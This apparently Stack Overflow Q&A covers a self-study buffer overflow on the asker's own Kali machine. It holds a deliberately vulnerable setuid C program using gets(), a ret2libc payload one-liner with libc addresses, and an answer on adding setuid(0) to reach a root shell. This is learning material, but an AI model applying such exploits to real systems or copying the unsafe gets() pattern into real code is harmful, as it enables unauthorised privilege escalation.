My buffer overflow exploit only opens a regular user shell but not a root shell

1.1k views Asked by At

I've been trying to get this very simple buffer overflow to work on my local kali machine, and after a lot of trial and error I finally got it to the point that it executes my shellcode and opens a /bin/bash shell - however, it's just a regular user's shell (i.e. my own "kali" user) and not a "root" shell. Very disappointing!

I've read two similar (older) questions here on SO, and tried all the suggestions for them (such as making sure the executable is owned by root, has the +s flag set, is not under an nosuid mount, ASLR is disabled etc.) but without any luck.

Here's the source code for the vulnerable program:

kali@kali:~/Documents/buffer-overflow$ cat vulnerable.c
#include <stdio.h>

void vulnerableFunction()
{
    char buffer[32];

    printf("What's your name? ");
    gets(buffer);
    printf("Hello, %s!\n", buffer);
}

int main()
{
    vulnerableFunction();
    return 0;
}

Here's how I compile it:

kali@kali:~/Documents/buffer-overflow$ gcc vulnerable.c -m32 -o vulnerable-x86 -fno-stack-protector -z execstack -no-pie
vulnerable.c: In function ‘vulnerableFunction’:
vulnerable.c:8:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
    8 |     gets(buffer);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccAaIkz1.o: in function `vulnerableFunction':
vulnerable.c:(.text+0x2c): warning: the `gets' function is dangerous and should not be used.

Here are the permissions on the executable:

kali@kali:~/Documents/buffer-overflow$ sudo chown root:root ./vulnerable-x86
kali@kali:~/Documents/buffer-overflow$ sudo chmod +s ./vulnerable-x86
kali@kali:~/Documents/buffer-overflow$ ll ./vulnerable-x86
-rwsr-sr-x 1 root root 15408 Oct  5 13:51 ./vulnerable-x86

Here's ASLR being disabled (afaik):

kali@kali:~/Documents/buffer-overflow$ cat /proc/sys/kernel/randomize_va_space
0

Here's the payload and how I inject it (with the 3 memory addresses pointing to the system(), /bin/sh, and exit() functions from libc):

kali@kali:~/Documents/buffer-overflow$ python -c "import struct; print ('A' * 44) + struct.pack('<I', 0xf7e07070) + struct.pack('<I', 0xf7df99c0) + struct.pack('<I', 0xf7f4e33c)" > payload
kali@kali:~/Documents/buffer-overflow$ cat payload - | ./vulnerable-x86 

This is the results (with both "whoami" and "echo $0" being commands I typed manually):

What's your name? Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApp������<���!
whoami
kali
echo $0
/bin/sh

This seems to be a new shell being spawned successfully (as I need to type exit, twice, to get back to my normal shell) but it's not root.

FYI - these are my nosuid mounts:

kali@kali:/home$ sudo cat /proc/mounts | grep nosuid
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
udev /dev devtmpfs rw,nosuid,noexec,relatime,size=4044272k,nr_inodes=1011068,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,nodev,noexec,relatime,size=815504k,mode=755 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,size=4096k,nr_inodes=1024,mode=755 0 0
cgroup2 /sys/fs/cgroup/unified cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
none /sys/fs/bpf bpf rw,nosuid,nodev,noexec,relatime,mode=700 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/rdma cgroup rw,nosuid,nodev,noexec,relatime,rdma 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
tracefs /sys/kernel/tracing tracefs rw,nosuid,nodev,noexec,relatime 0 0
debugfs /sys/kernel/debug debugfs rw,nosuid,nodev,noexec,relatime 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /run/user/1000 tmpfs rw,nosuid,nodev,relatime,size=815500k,nr_inodes=203875,mode=700,uid=1000,gid=1000 0 0
gvfsd-fuse /run/user/1000/gvfs fuse.gvfsd-fuse rw,nosuid,nodev,relatime,user_id=1000,group_id=1000 0 0

Any ideas would be very much welcome as I feel I've run out of things to try several hours ago :(

Thank you!

1

There are 1 answers

1
Ruslan On BEST ANSWER

When your program's executable has the setuid bit, the program is run with the UID of the original user and EUID of the file owner. This means that, until the program does setuid(0), it won't gain the actual root privileges (the UID=0), and will run as normal user. In particular, its child processes will be not run as root.

So, you'll have to either modify your vulnerable program to run setuid(0), or add the equivalent system call to the shell code payload, to get the root shell.